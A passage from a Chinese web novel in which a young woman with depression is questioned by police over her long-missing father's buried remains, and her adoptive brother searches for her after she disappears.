在极度疲惫之下,她昏昏沉沉入睡,梦中只有扑来的恐惧,她梦见了元旦发生的事情,男人狰狞恐怖的咒骂,强而有力的拖拽,冰冷涌来的水,踩着她手指的手,灭顶窒息的痛苦。
她努力的挣扎。
想要浮出水面,想要呼吸,想要呼救,想要活下去——
“陆礼——”
“救我——”
她像是挣脱了桎梏,终于发出声来。
可眼前作恶的男人却换成了另一张脸。
那双澄澈的蓝瞳中,有愤怒、失望,“时憬,那我是什么?寂寞时的替身?!你说话——”
不……
对不起……
“对不起有什么用!”
“你为什么又拒绝我?”
对不起……
对不起……
痛……
不要了……
撕扯的痛折磨着她,她用力地想要挣扎出去——
“嗡嗡——”
“嗡——”
枕边手机的震动声将她从梦中惊醒。
时憬猛地睁开眼,视野随着急促呼吸摇晃混乱,心脏剧烈跳动,而疼痛并未消失,她摸索着抓起手机,甚至连屏显都无暇去看。
对面称是当地**,需要到宣城刑警大队去配合警方了解些情况。
从噩梦中醒来,她的状态实在糟糕,耳边嗡鸣声不断,甚至听不太清楚电话里的声音,“我…从没去过宣城。”
对方要求提供地址,他们会派人陪同她去。
时憬:“一定要我去么?到底是什么事情……?”
或许是时憬的语气听上去实在无力,对方以为是被吓到了,声音温和了许多,说需要去宣城确认些情况,与她家人有关的情况。
“家人…?我和家人一直生活在沙市。”
“不是您现在生活的家人。”
对方似乎不能再继续透露,只催促她提供地址。
时憬报了公寓地址。
她看着窗外,才发现天已经亮了。
派来陪她去宣城的是一位女警官,她看着时憬状态不好,关心地问了几句,时憬说自己失眠,所以状态不太好。
女警不再多问,陪着她坐高铁去宣城。
大概是费兰还未将他们结束的事情告诉邓阿姨,陆家人也以为她还和费蓝在一起,无人来找她。
六个小时的车程,她的手机分外安静。
昨天赴约时,她害怕被费兰知道自己生病,身上没有带药,今天已经过了吃药的时间,昨天的药效似乎开始失效,她的状态有一点难受。
但还能忍受。
她想起电话里那一句‘不是现在生活的家人’,她就只剩下杭县生活的家人。
母亲早已过世,她只剩下一个欠下巨额赌债不知所踪的父亲,一个对她从未尽到抚养责任的父亲。
时憬早已不是小孩子,已经不再奢望父亲会突然回家,这样妈妈就不用那么辛苦了。
她对宣城刑警大队提及的亲人是谁,并不太关心。
她只想要短暂离开沙市,所以才答应。
到宣城刑警大队前,时憬低头看着屏幕上兄长的名字,手指在呼出键上移开。
如果联系兄长,他会猜到昨晚发生的事情。
他……
会露出什么样的表情?
烦躁?麻烦?叹气?
算了。
他已经推开自己,她不能再像之前那样无尽地依赖他。
时憬摁灭屏幕,开了静音。
很快有人来接应她,带她进入一间空旷的小房间,里面一张桌子三张椅子,再无它物品。
两个身着便服的男人进来,拉开椅子坐下。
中年男人看了眼时憬,指了下对面的椅子,还算和气地请她坐下。
时憬顺从。
年轻男人从牛皮文件袋中依次取出一件东西,装在透明塑封袋中,摆在桌上。
中年男人敲了下桌子,“照片上的男人认识吗?”
时憬看向塑封袋。
是一张不知从哪儿截图打印出来的大头照片,照片下面写着名字出生年月等信息。
时明,杭县人,出生年月……
时憬想说不认识照片上的人,可这个名字却是她父亲的,那个在她年幼时就离开家的父亲。
她没有任何对父亲的记忆。
家里更没有父亲的照片。
她是从亲戚的口中知道父亲的名字,叫做时明,那些亲戚看着母亲开的民宿赚了钱,怕母亲带着她逃走,还不出父亲向他们借的钱,逢年过节就会说她的父亲叫时明,她和父亲长得很像很像,父亲有多疼爱小时候的她。
疼爱?
真是可笑至极。
原来亲人,真的是指这个男人啊。
时憬语气冷漠,“我没见过这个男人,但他和我父亲的名字一样。”
中年警官点头,观察着她的表情,“这张照片是从他身份证信息里下载下来,拍这张照片的时候他大概也刚成年,和后来的样子的确有些出入,你认不出来也正常。”
时憬隐约察觉到话里还有其他的意思,她张口否认:“我从未见过父亲。”
中年警官翻了下手边的记录,“根据时家人提供的信息,时明离家出走前你还是襁褓里的孩子,见过可能也忘了。”
时憬轻轻皱了下眉。
她不知道为什么他一定要强调自己见过时明。
小房间里只剩下纸张翻过的声响,中年警官像是才想起来般,随口问了句:“你长大后就没见过时明,那你怎么知道时明就是你的父亲?是你母亲和你说过关于他的事情是吗?”
那种说不出违和感仍未消失。
而且愈发强烈。
时憬:“家里亲戚在聊天时会提及,我母亲从未在我面前提起过任何关于父亲的事情。”
中年警官似乎有些诧异:“一日夫妻百日恩,听说他们是自由恋爱后才结婚的,你母亲一次都没提过关于你父亲的事吗?他欠了巨额债务离开,你母亲也没在你面前埋怨过么?”
时憬:“没有。”
中年警官:“按你这么说,你母亲对你父亲已经没有任何感情了,自他逃出去后,他们应该也不会私底下见面是吧?”
时憬:“是。”
她只回答警官的回答,绝不进行多余的扩充。
这份谨慎的回答态度让中年警官认真了些。
“行,我知道了。”他继续往下翻纸张,感慨道:“不过你母亲也挺不容易的,一个人把你拉扯大,时家那边的亲戚好像也没帮过你们,她还能经营民宿经营得不错,没请什么工人帮忙吗?或者你母亲有没有什么朋友搭把手之类的?”
违和感和佯装不经意的恶意揣摩让时憬不适。
她听不得母亲被任何人揣测。
“没有,民宿是她一个人经营的,寒暑假和周末也只有我会去帮忙。”
中年警官再次点头,一副了然的表情:“你那时候也小,大人之间的事情估计也——”
时憬语气尖锐:“您到底想定义什么?时明和我母亲早就没有关系了,他是死是活都和我们无关!”
面对她的怒气,中年警官表情严肃。
“时明**。”
然后,他看见对面愤怒的女孩表情僵硬,对不闻不问的生物意义上父亲的死亡,她还是伤心的。
中年警官缓和了些语气,“时明的死有疑点,我也是出于工作立场进行询问,如果还有让你觉得生气的地方,希望你也能理解。”
对面的女孩眼眶湿润。
眼神看着有些木讷。
显然还沉浸在时明死亡的冲击里。
中年警官趁热打铁,粗大的食指在桌上点了下。
年轻警官拿出第二个塑封袋放下。
“你对这个东西有印象吗?”
时憬眨了下眼睛,强行让自己从莫名其妙的情绪里出来,视线看向第二个塑封袋,在她看清里面的东西后,眼瞳微微放大,身子下意识前倾了些。
种种细微的反应都表示她认识里面的东西。
“你
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可以拿起来仔细看看。”警官善解人意地开口。
时憬双手拿起塑封袋,凑近了仔细看。
手指微微发抖。
这是她送给妈妈的生日礼物。
一条银项链,有个小元宝的坠子,她说希望妈妈能发大财,这样就不用这么辛苦了。
她还能想起妈妈收到的时候有多高兴,说会一辈子带着小舟送的礼物。
她还能想起在妈妈发生车祸后,脖子上的项链不见了,她以为是当时情况混乱才掉了。
但现在——
这条项链却和父亲的照片出现在警察手中。
从刚进来是的违和感在这一刻全部化成锋利的寒气,她后背阵阵发凉,手指的颤抖怎么都控制不住。
中年警官再一次出声询问她认不认得。
时憬放下塑封袋,“是我妈妈的项链。”
中年警官思考了下她的称呼,故意询问:“陆太太?”
显然,他也知道时憬如今在沙市的陆家生活。
时憬垂眸,不敢看眼前的警官:“是我生母,宋桉的。”
两个警官忍不住对视。
他们询问了时家的亲戚,无人能认出这条项链是谁的,考虑到时明出事时,时憬还是上初中的学生,而且她远在沙市,传来问话手续也比较复杂,他们将希望最后放在她身上。
没想到事情真的有了突破。
中年警官语气未变,继续询问:“你如何确定这条项链是你母亲的?她有向你提起这条项链是谁送的吗?什么时候送的?”
时憬的手指攥紧。
肉眼可见的在紧张。
“是…是……我送给妈妈的。”
中年警官身体前倾:“什么时候送的?”
时憬嘴唇抿了下,轻声回道:“我不太记得了。”
眼前的女孩明显在撒谎。
为何选择撒谎,无非是她自己知道些什么,又或是想起了些什么。
中年警官没有戳穿她拙劣的谎言。
“不记得了是吧?那我们一起来反推一下。你母亲是在2016年12月份发生的车祸,当时你应该只有……15岁?你送这条项链只可能在15岁之前,而这条项链我们请人估了下价格,怎么着都得500元以上,对一个15岁或者年龄更小的孩子来说,一次性支出500元不是一笔小钱,这么说你能想来些什么吗?”
时憬低着头:“对不起……”
他眼神渐冷,手指在桌上有些节奏的敲着,在死寂的小房间里,这个声音落在时憬紧绷的神经上。
他继续问:“那我再换个问法,你为什么要给你母亲送礼物?这总能想起来吧?”
时憬握着手,脸色苍白的解释,“对不起……我也记不得了。我…自从妈妈出事后,就得了抑郁症,之后几年一直在吃药,药物、药物让我很多记忆模糊不——”
“砰——”
手掌冷不防重重拍在桌面上,中年警官站起身,指着时憬厉声道:“时憬!你知道这项链是谁的手里找到的吗!在你父亲时明的手里!而我们是在哪儿发现的他?是从地下挖出来!他被人杀害,至少被埋在地下九年以上!这是一起**抛尸的**!”
中年警官语气中的愤怒有表演的成分,但足够震慑她。
时憬惊愕的抬头,脑中一片空白。
但每一次呼吸都连带着胸腔的刺痛。
警官的话还在继续,他用手捂了下嘴,又指向桌上的文件夹,“你母亲,宋桉是在2016年12月因为酒驾车祸过世,而2016年12月距离今年也刚好九年,你父亲手里还有她的项链。时憬,我告诉你,宋桉是最大嫌疑人,你继续这样不配合调查,只会让宋桉的嫌疑更大!”
“当然,你们母女俩相依为命,你不愿意相信时明的死和宋桉有关系,那就请积极配合我们的调查。我们不会放过任何一个凶手,但也不会冤枉一个无辜的人。”
“你就坐在这儿先想想清楚,应该怎么回答我的问题!”
警官打开门,叫走另一人,独自将时憬留在小房间。
门紧闭。
时憬随着关门声,双目紧闭。
他们说,不会冤枉无辜的人,但也不会放过凶手。
她双手捂住眼睛。
无数被她无意忽略的记忆涌入脑中。
第86章 请您给我妈妈一个公正!
时憬在看见项链时,已想起是什么时候送的。
是在她15岁夏天的生日送给妈妈。
她还记得,妈妈每天都会戴,妈妈怕项链的锁扣不牢,让她用红线缠紧了,这样才不会弄丢女儿送的礼物。
可、可在发生车祸后,项链不见了!
当时事情发生的太突然,绝望和悲伤令她没有去想,为什么项链会不见。
她也没有去想,妈妈那天为什么会酒驾?
她更没有去想过——
发生车祸的那天晚上,妈妈明明说打扫完卫生后就会回家的,可为什么那天晚上妈妈会开车去那么远的地方?
那天晚上究竟发生了什么事情?
妈妈到底见了谁?
直到现在这一刻,她想去弄明白那天晚上究竟发生了什么,但九年已经过去了,什么痕迹都没有了。
她无法证明妈妈的清白。
九年前的她,为什么不去多问、为什么不去多想!
她现在……
该怎么保护妈妈,怎么证明妈妈不会做那些事情……
*
中年警官从房间出来后,兜里的手机震动,他看了眼屏显,眉头皱了下,随便找了个理由把跟在身后的徒弟打发走,自己走到室外吸烟区,点了根烟后,才接通电话。
对面客套几句,直奔主题。
问他今天带回来的小姑娘是不是沙市陆家的养女?
中年警官用鼻音嗯了声,“就她。”
那边像是幸灾乐祸的笑了声,说她被陆家收养后就鼻孔朝天看人。
中年警官回想了下女孩的表情。
谨慎、胆小。
的确不算太配合。
但态度也不算多嚣张。
他办案几十年,见过那些有权有势的,一上来就自报家门,两条腿往桌子上一翘的人多的是。
“小姑娘是不太老实,状态也不好,可能和她说得了抑郁症有关。”他吐出烟圈,“你还有什么事?没事我挂了。”
对面连忙嗳了声两声,“你们不是已经确认那具白骨的身份了吗?还把她叫来问话是她爸的死和她有——”
中年警官脸上浮现烦躁,猛吸了口烟,打断电话里人的话:“这些都和案情相关,我没法告诉你。后面的这些事情和你们楼家也没关系了,事情今天我会上报的,你们的停工很快就能解除。之后没事别来找我了,挂了。”
他说完后,立刻切断电话。
皱着眉,把手机调了静音塞进口袋。
宣城风气不好。
他只想好好办案查案,对这些乌烟瘴气的事情厌恶到了骨子里。
慢慢抽完这根烟后,他并未立刻回小房间里继续讯问。
上面给的压力大,让他尽快侦破结案。
甚至连媒体都不准惊动。
小姑娘胆子小。
关着吓一下,再去问,什么事情都能交代清楚了。
他也能趁着这会儿喘口气。
时憬不知道自己被关在这间房里有多久。
她的手机没电。
房间里又没有时钟。
可能关了很久,又可能很短,这种混乱的时间观念让她的状态更加糟糕。
当两个警察再次回来时,就看见她脸色异常苍白,连唇上都没有多少血色,双手环紧胳膊,是一副不安防御的姿势。
中年警官瞅了眼,单手拉开黑色折叠椅子坐下。
单这一个动作发出的声音,就让肩膀跟着害怕地颤抖了两下。
中年警官:“想明白了?那就慢慢说,我听着。”
另一边的年轻警官打开笔记本电脑,准备记录。
时憬始终低着头,“妈妈虽然经营一家民宿,但家里没多少钱,虽然妈妈没对我提过,但我也猜到…可能赚来的钱都在给我父亲还债。养我、供我上学也要花钱,所以妈妈不舍得给自己花钱,连一件首饰都没有。”她的嗓音低柔,像是已经跌落到谷底一般的死气沉沉,“那年…那年夏天——”
年轻警官敲键盘的手停了下,出声问:“哪一年的夏天,请具体年——”
后面的话被中年警官的一个眼神打断。
中年警官的语气温和了许多,“你继续说。”
时憬抱着胳膊的指尖掐着肉,看着用力到连男人都皱了下眉,可她却像是察觉不到疼痛,接下去继续说着:“放暑假的时候,我……陆礼那时候因为学校派他们出来做实践项目,他住在妈妈的民宿,需要人手,我给他帮了几天忙,他给了我800,正好够买下项链送给妈妈。那是……2016年的夏天。”
中年警官:“你送给你母亲后,她每天都会戴这条项链吗?”
时憬:“戴上后应该没有拿下来过。妈妈还怕项链会掉,让我用红线缠紧了。”
不等中年警官示意。
年轻警官先一步拿起装有项链的塑封袋,拿近仔细看过后,点头回道:“是,上面还有残留。”
中年警官:“你是什么时候发现你母亲脖子上的项链不见的?”
问话音落。
时憬愈发抱紧自己。
身体像冷地颤抖。
从中年警官的角度看,还能看见她的嘴唇也在颤抖,有些事情逼迫身为女儿的时憬说出口,的确有些残忍。
但没有办法。
他们需要真相。
中年警官沉声逼问:“什么时候发现的?”
时憬:“车、车祸后……”
中年警官:“这么说你当时是注意到项链不见了,有没有去找过?”
时憬摇头,她闭着眼,眼眶涩痛,“没有……当时事情发生的太突然……我……以为是掉了……”
中年警官:“把车祸那天你记得的所有事情仔细说一遍。”
讯问就是这样。
要让你一遍遍去回忆那些痛苦的记忆。
哪怕过去九年了,时憬仍没有勇气去完整地回忆那天发生的事情。
哪怕连噩梦,都只会梦见之后的事。
她被那些所谓的亲戚逼迫,她绝望地被赶出门,而后站在湖边——
因为,之后陆礼就来了。
他将她从地狱救了出来。
可之前的事情……
并不是地狱。
那是极其普通的一天。
普通到她想不明白,为什么这些事情会发生在妈妈身上,会降落到她们的家。
时憬开口时,似乎尝到了喉咙里泛起血腥味。
“那天…和平时一样,我放学后回家,妈妈打电话回来说,她打扫完民宿就回家,让我…别等她,明天还要上学,挂了电话后,我就睡了。”
“后来…后来……是亲戚打电话……带我去……去……”
她眼泪汹涌。
但她却没有失控哭出声来,只是压抑得掉眼泪。
这幅模样,看得中年警官也有些动容,他抽了两张纸递给时憬,“事发那天你见过你母亲吗?”
“没有…早上我上学的时候……妈妈已经出门……去民宿准备早餐……中午我、我都在学校……下午妈妈会回一趟家……帮我准备好晚饭,她再去民宿……我放学回家就、就自己吃饭、写作业睡觉……”
中年警官:“你们既然有民宿,为什么不住在民宿呢,你母亲平日会住在民宿吗?”
“寒暑假我们会住民宿,那时候是旅游高峰期,住着方便帮忙……平日不住,妈妈说平时住了的话,民宿就会变成我们的家,对经营不好。”
中年警官颔首,“那天你母亲和你通话时,语气、状态怎么样?”
时憬的声音已经嘶哑:“没有任何异样…”
中年警官:“那前两天或者前一周,你母亲有没有任何反常的举动?或是有什么人突然来找她,又或是她接了什么电话后情绪不宁?”
时憬摇头,“没有……”
中年警官:“在父亲离开家的这几年里,你母亲有和哪个异性走得比较近过吗?或是有没有什么人常去你母亲民宿里帮忙?”
时憬:“妈妈一心都扑在民宿上,剩下的精力就是照顾我……妈妈会和送货的老板们打交道,但没有关系特别近的。”
中年警官:“最后一个问题,你知道你母亲那天晚上为什么会开车去那么远的地方?而且还是酒驾去的?”
时憬仍是摇头,哽咽着回答:“对不起……我不知道……”
她的状态不像是在撒谎。
中年警官也不再详细追问,收敛起严肃的语气,温和地叮嘱她:“你先回去休息,但最好就留在宣城别走远,我们可能还会联系你回来做笔录。”
时憬抬起头。
苍白
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清瘦的脸上,泪痕满面,眼眶通红,眼底都是一道道红血色。
她嘶哑着说:“您说…不会放过一个凶手,也不会冤枉一个无辜的人是吗?”
中年警官一脸正色地点头,给予她肯定的回复。
“是。”
时憬扶着桌子站起身,向着眼前的二人弯腰鞠躬:“我妈妈不会**,请您还她一个公正。”
她相信妈妈,她也相信眼前的警察。
中年警官也站起身,“我们会调查出真相,给你一个交代。”
时憬道谢后离开。
抬脚时,膝盖失力弯了下去,整个人眼看着就要摔倒。
“小心——”
年轻警官连忙出声提醒,手也跟着伸出去,想要扶住她。
时憬先一步扶着桌子,动作分外明显地避开那双靠近的手,意识到自己这个动作后,她立刻慌张地道歉。
“没事没事,你出去小心点啊。”
年轻警官看着她出去后,手指摸了下鼻尖,小声嘟囔:“我是什么洪水猛兽么。”念完后,他看着师父仍一脸严肃,忍不住问道:“师父,您在想什么呢?这起案件不是明摆着最大嫌疑人就是宋桉吗?她贴身不离的项链都在时明手里了,您难道还怀疑是其他人下的手?”
中年警官:“你怎么看刚才时憬说的那些话。”
年轻警官想了下:“一个被妈妈保护得特别好,什么事情都不知道乖乖女?”说完后立刻找补:“我要是说错了,您别打我!”
中年警官瞅了眼他没出息的样子,“一个没有丈夫、也没有亲戚扶持的女人,能够在独自经营一间民宿的情况下,还能将女儿抚养长大。你刚说的没说错,时憬提及宋桉时没有流露出任何严厉、缺乏关爱她的反应,可见宋桉从未因工作而忽视女儿,一个情绪稳定甚至还能替不靠谱丈夫还贷的女人,究竟会在什么情况下能让她进行一系列**+酒驾+抛尸,彻底丧失对女儿抚养权利的行为?”
年轻警官猜测:“时明又欠了大笔债务?她一怒之下——嗷!”年轻警官捂着额头,“师父,我都求您别打我了!”
中年警官头也不回地朝外走:“你去交警大队问问看九年前宋桉车祸的视频还在的话拷回来。”
年轻警官:……他师父疯了。
时憬从刑警大队出来后,那个送她来宣城的女警已经离开了。
她在附近找了个连锁酒店开房。
又问前台借了充电器用。
进房间后,她躺在床上,蜷缩成一团。
浑身冰冷的在被子里瑟瑟发抖。
杭县就在宣城的下面,同属南方城市,廉价的连锁酒店被褥有一股很淡的潮湿霉味,一点点将她缠紧,压得人胸口几乎喘不过气。
快要窒息。
她想要逃离沙市。
却没想到,她又陷入了另一个绝境。
甚至是无法逃离的绝境。
她要在宣城等来妈妈的清白。
浑浑噩噩间,她似醒非醒,似睡非睡。
看见自己回到了杭县的家里,妈妈抱着她说不想出门去民宿,想要陪着生病的囡囡……她眨了下眼,又变成了她看着妈妈出门,她被困在原地,歇斯底里地叫着让妈妈回来,不要出去——
出去了她就要失去妈妈了!
她没有爸爸……她只有妈妈了……
可妈妈也没有了……
“你妈就是**犯!”
她像是又到了温泉山庄的泳池边,有人在岸上骂着妈妈。
不——
不是——
她妈妈不是的!
“你就是**犯的女儿!”
不是——
“没爸爸的野孩子哈哈!”
不是的……
“没爹没妈的东西,以为自己进了陆家就了不起了!”
不要说了……
不要说……
时憬睁着眼,眼泪无声地从眼眶滚落。
她想求助。
却迟迟不敢去触碰放在一边的手机。
*
年轻警官气喘吁吁地闯进办公室,挥了下手里的U盘,“找、找到了!这段视频居然还在!本来这种结案的录像超过八年一般都会删除的,但这几年这不是严查酒驾吗,交警大队就把这个视频放进了案例库里,这才没有被删除!”
第87章 时憬在哪儿!
中年警官一把抓过U盘插入电脑。
点击播放。
因是夜间红外录像,再加上距离现在有些年份了,当时的监控设备远不如现在的先进,录像质量实在算不上高清。
这段录像不长。
就截取了两车相撞的前后一分钟。
年轻警官拉了个椅子也坐在旁边跟着看。
反复看了十几遍后,年轻警察实在有些撑不住了,“师父,您都看了这么多遍了,能看出来什么吗?而且这起交通事故就是宋桉主责,都结案这么久了,里面还会有什么线索啊?”
中年警官充耳未闻,打发呱噪徒弟去泡面来。
他看过宋桉的照片。
那是一个清瘦高挑的女人。
而法医推测出来时明生前的身体数据,是个颇为强壮的男人。
一个女人喝了酒后完成这一系列事情的难度实在太高了。
再加上时憬说,她母亲除了照顾她外,一心都在经营民宿上,不喜欢出门旅游,鲜少会离开杭县。
既然很少离开,那天晚上怎么能立刻想到从杭县开车到宣城,还找到那么一个偏僻的地方。
这些疑问,他相信在这段录像中能找到答案。
等徒弟端了两碗红烧牛肉泡面回来,发现师父还在盯着那段录像不停地在暂停、**、播放。
等面泡好,徒弟端着杯面坐在后面哧溜哧溜地吸。
屏幕上的视频他都快看吐了。
但师父还在看。
突然,师父**录像,停在车辆刚进入画面的瞬间,将画面放到最大、选择最慢倍速,来回播放几次后,徒弟瞪着眼连面都顾不上吃了,几乎是惊跳起来:“宋桉扭头不是在看路况,她在和谁说话?!这辆车上不止她一个人!副驾还有人在!!”
中年警官:“立刻去杭县,去问民宿附近的店家或住户!”
徒弟应了声我这就去,捧着杯面拔腿就往外冲。
中年警官:……这小子饿死鬼投胎?
他抽了下鼻子,闻到香味,也端起徒弟孝敬的杯面低头猛吃,这场硬仗算是打了个不错的开头,接下去就靠他们的嘴和腿来查出真相了。
*
这日傍晚,陆礼没有继续住市区,而是回了陆园。
到家时,正好是晚饭时间。
他回来的突然,也没提前和陆母说一声,陆母见他回来,连忙让阿姨准备碗筷。
小餐桌上,只有父母在。
陆礼收回视线,拉开椅子准备坐下,“时憬不在家?”
陆父哼了声,用力嚼黄瓜。
陆母笑了笑,完全忽视丈夫弄出的小声音,“前天是费兰生日,她陪着费兰庆祝去了,今天也没说回不回,到这个点还没见人估计是不回来了。”
自从时憬与费兰交往后,陆母便不再盯时憬那么紧。
偶有一两天不回家也不会多问。
陆礼拿筷子的手顿了下,“这两天她都没联系过您?”
陆母拿起手机翻了下,才发现女儿最后一条发来的信息是四天前,“还真没发信息,这孩子出去两天不回家也不知道说一声,我来问问她。”说着就准备给时憬打电话。
陆父放下筷子,不满道:“我就说金毛小子不可靠,姑娘什么时候出门不和我们报备?”
陆母瞪了他一眼,“你少说——”到嘴边的话顿住,眼神立刻看向儿子,“她手机关机了。”
陆礼:“您有费兰的联系方式吗?”
陆母翻手机,立即联系邓艳华。
邓艳华说费兰也还没回家,又安慰陆母说两个孩子肯定早一起的,让她别着急,才把费兰的手机号码发来。
电话打过去,电话却无人接听。
至此,陆母的脸色已不太好,“这两个孩子到底什么情况,怎么都不接电话!这不是让人担心吗!”
陆父指陆礼:“吃完饭去小憬公寓看看。”
话音还未落下,陆礼已经放下碗筷,“妈,您继续联系费兰,我去公寓。”说完抬脚快步朝外走去,脸色沉下,眼神冷得让人发怵。
陆母一边听着手机,一边叮嘱儿子:“我联系到费兰就告诉你,说不定就是妹妹手机没电了,你别急,路
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上开车小心点。”
陆礼甚至未听完母亲的话,就已经坐进车里向公寓开去。
路上等红灯期间,他眉间的烦躁渐盛。
想起有个熟人的堂弟就是费兰那一拨人里的,打电话拿到号码后,立刻播出。
红灯转绿。
他踩下油门,黑色迈巴赫才路上速度越来越快。
这通电话很快被接通。
陆礼目视前方路况,冷声开口:“我陆礼,你知道费兰在哪儿吗?”
对面似乎愣了下,结巴了下:“陆、陆少!我我知道!费兰和我们在一起喝酒呢!”
一起喝酒?
陆礼皱眉:“叫他接电话。”
“唉唉唉好!哥您等会儿啊!”说着就听见他叫来了费兰。
“有——”
“时憬和你在一起?”
陆礼全无听他说话的耐心,冷冷打断。
费兰已经从朋友口中知道打这个电话的是谁,语气低落,似乎还有其他情绪,“她怎么会和我——”
陆礼再次不耐烦打断:“你知道她在哪儿?”
费兰愣了下,“她没回家?可能、可能还在酒店。”
陆礼:“酒店名、房号报给我。”
费兰就报了个酒店名字,说房号不记得了,还想解释两句时,电话已被挂断。
陆礼双手握紧方向盘,在路口掉头,改道去酒店,等到酒店,已是一个小时后。
车子扔门口,直奔前台。
走近时,看见比他先到一步,正在问房间号,前台小姐确认信息后,回他:“您前天晚上离开没多久后,您的女伴也离开了,我们同事还问她是否要回来,她说不回了请我们退房。另一晚的费用应该已经原路退还给您了。”
费兰:“你们确定是那人是我的朋友?”
前台小姐的笑容标准到无可挑剔:“是一位穿着蓝色小礼裙的女士是么?”
费兰的脸色难堪。
他后退一步,正想转身离开时,冷不防看见不知什么时候现在身后的陆礼,被冰冷的目光狠狠刺了眼。
陆礼转身离开。
第88章 他要尽快找到妹妹
费兰想了下,快步追上去:“请等——”
直到门外,避开大堂里服务人员与旁人的目光后,陆礼才停下,转身猝不及防地一把用力拽住费兰的衣襟,整个人逼近,眼底压抑着蒸腾的怒气:“我不知道你们之间究竟发生了什么,但在生日当天把时憬一个人扔在酒店,两天对她不闻不问,你就不算个男人!”
如果目光能实质化。
眼前的费兰早就要被陆礼的怒火击穿。
他甩开手,不愿再浪费时间。
现在他只想尽快确认时憬的安全,尽快找到他的妹妹。
费兰被他目光中锋利的冷意骇到,这哪里是一个哥哥关心妹妹还有的眼神?愧疚被心里腾起的扭曲冲垮,他冲着陆礼的背影叫出声:“她在酒店的床上叫的是别人的名字!”
陆礼脚步顿住。
费兰脸上笑容讽刺,“她叫的是你,陆礼。她心里不止没有我的位置,还满心想的都是其他男人,难道还要我继续留下来忍受这份不公平吗?!”
这句话,终于让陆礼转身。
他站在半明半昧的灯光下,每一个字都浸透冷意,冰冷地看着对面的男人:“我撤回刚才的话,费兰,你连人都不配!如果时憬出任何事,陆家都不会放过你。”
费兰到底年纪还轻,也从未和陆礼这样心机难测的高位者打过交道,脸色隐隐发白,咬着牙硬着头皮说:“时憬已经是个成年人了,会出什么事?况且我提分手后,她根本没有任何挽留的话,说不定还因为分手松一口气。”
陆礼冷漠地看他。
他们相处那么久,他竟然都没有发现妹妹在吃药接受治疗?而自己,竟然就放心把妹妹交给这样一个毫无责任心的男人?
对费兰的迁怒转为对自己的愤怒。
但事情已经发生。
他要尽快找到妹妹,而不是在这儿和这种男人浪费时间。
陆礼收回视线,开门上车,开向公寓,握着方向盘的手背青筋暴起、骨节凸起。
嘴唇抿成一条线,气息低沉得可怕。
死寂的车里响起电话铃声。
陆母语气明显急促不安地说着:“刚才打通费兰这孩子的电话了,他说前天晚上他们闹了不愉快就分开了,小憬也不在酒店里。我还问了童宛,她这两天也没联系过时憬。你去到公寓了吗?她在不在啊?”
陆礼语气冷静至极:“刚从酒店出发,半个小时到公寓。”
陆母:“好好好,你专心开车!”
挂了电话后,陆母才反应过来,陆礼怎么去酒店了?但儿子还在开车,女儿也没消息,她在电话里顾及不上问这些细枝末节,只能同丈夫说。
陆父揽着陆母的肩膀,皱着眉说:“费兰在电话里含糊其辞,小憬和他肯定不是不愉快这么简单,但现在这些都不是要紧的,等找到孩子后,再讨论他们的事情。”
陆母张口,想说情侣拌嘴吵架哪分什么对错,但看着丈夫脸色,咽了下去。
另一边。
陆礼终于到达公寓。
公寓里黑漆漆的,他的心也逐渐沉了下去。
开灯后,他找了一圈也没看见妹妹的身影,只在床边的月亮椅上找到了挂在上面的一条裙子。
是时憬那天约会穿的。
客厅的沙发上明显有人躺过的痕迹。
也就说,时憬从酒店离开后,的确是回公寓了,可能还在公寓睡了一觉后才离开。
妹妹会去哪儿?
她还有什么地方能去?
妹妹虽然任性,但她从未用失踪让人担心过,哪怕妹妹生气把他拉黑,也依旧能让他联系上她,能确认她的状态。
这样的情况从未发生过。
他现在闷热的卧室里。
无数负面的猜测接二连三地挤入脑中,干扰他的思绪,当他下楼,再次坐进车里后,想要发动引擎,才发现自己的手在发抖。
冷静下来。
秦天川都说妹妹最近的情况控制得不错,那些情况都不会出现的,他不该自乱阵脚。
半分钟后,陆礼才恢复冷静。
给黄林打了个电话,让他找人去查
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时憬这两天的所有消费记录。
时憬在离开酒店后,回公寓睡了一觉或者是休息片刻,然后因为发生了什么事情不得不出门,而且出门的场合不适宜她穿身上的裙子,所以必须要换衣服。
陆礼尽可能冷静分析。
但越是冷静,压抑的烦躁与不安越是清晰。
时憬究竟遇到了什么事情——
甚至都没有联系他?
这个念头闪过时,陆礼的背脊僵硬了下,随即眼中涌起痛苦,被他垂眸挡住。
是他,推开了时憬。
也是他口口声声说仍会照顾她,却因为担心自己不够干脆地退开她,甚至很少再回陆园,在她不见了两天后才发现。
原来…他才是那个混账!
他将头抵在方向盘上,在等到中煎熬。
突然,被他握在手里的手机震动,他立刻睁开眼看,屏幕上跳动着楼心月的名字,陆礼眼中的情绪瞬间归于冷漠,滑动挂断。
长时间呼叫会挡其他电话进来。
屏幕熄灭两秒后,再度跳动。
仍是楼心月呼入。
陆礼皱了下眉,脸上闪过烦躁,他抬手接听,连语气都懒得再伪装,“什么事?”
他的冷漠哪怕透过信号也依旧清晰,甚至还带着些许不耐烦。
楼心月被他的语气伤到。
她咬了下唇,也不敢向陆礼诉说委屈,佯装未在意般,急切地说道:“我今天回了宣城处理工厂的事情,然后听我哥说,工厂里那具白骨的身份确认了,叫时明,刑警大队前几天刚联系了亲戚辨认,听说时明还有个女儿,也被叫来了宣城。因为时这个姓氏少见,我就多问一——”
陆礼眼神变化,打断楼心月累赘的解释:“你确认时明女儿的身份了吗?”
“我托人问了,具体情况涉及案子他们不肯说,但负责这个案件的警察说这个女孩就是陆家的养女!我知道后就立刻联系你了!这么大的事情,时憬没有和你说吗?”楼心月的每句话里都是担心,以假乱真到令人无法察觉。
第89章 被按进炙热、汗涔涔的怀抱
楼心月脸上却无一丝着急。
实际在时憬被叫来宣城的那一天的下午,她就已经知道了厂区那具白骨竟然是时憬的生父,甚至杀害他的最大嫌疑人是时憬的生母。
真是连老天爷都看不惯她。
原本以为陆礼也会跟着来,却没想到他在沙市根本不知道这件事。
直到刚才她给陆母打电话问候,才知道时憬‘消失’了。
所以她才会主动打这通电话。
只要她做的越多,陆礼这颗石头迟早会被她捂热的。
况且,时憬之所以没有告诉陆家,不就是怕亲生父母做的那些事情会让陆家嫌弃自己么。
既然时憬不想说,那她就帮她说。
楼心月听见对面没了声音,语气着急劝到:“陆礼,你别着急,我现在就在宣城,这就去找——”
陆礼早已拿下手机,开始定最近一班飞宣城的机票,听见楼心月的声音突兀的从扬声器里穿出来,才想起没挂电话。
“不用,先挂了。”
还未等楼心月反应过来,电话已经挂断。
陆礼甚至连行李都来不及收拾,直接开车赶往机场。
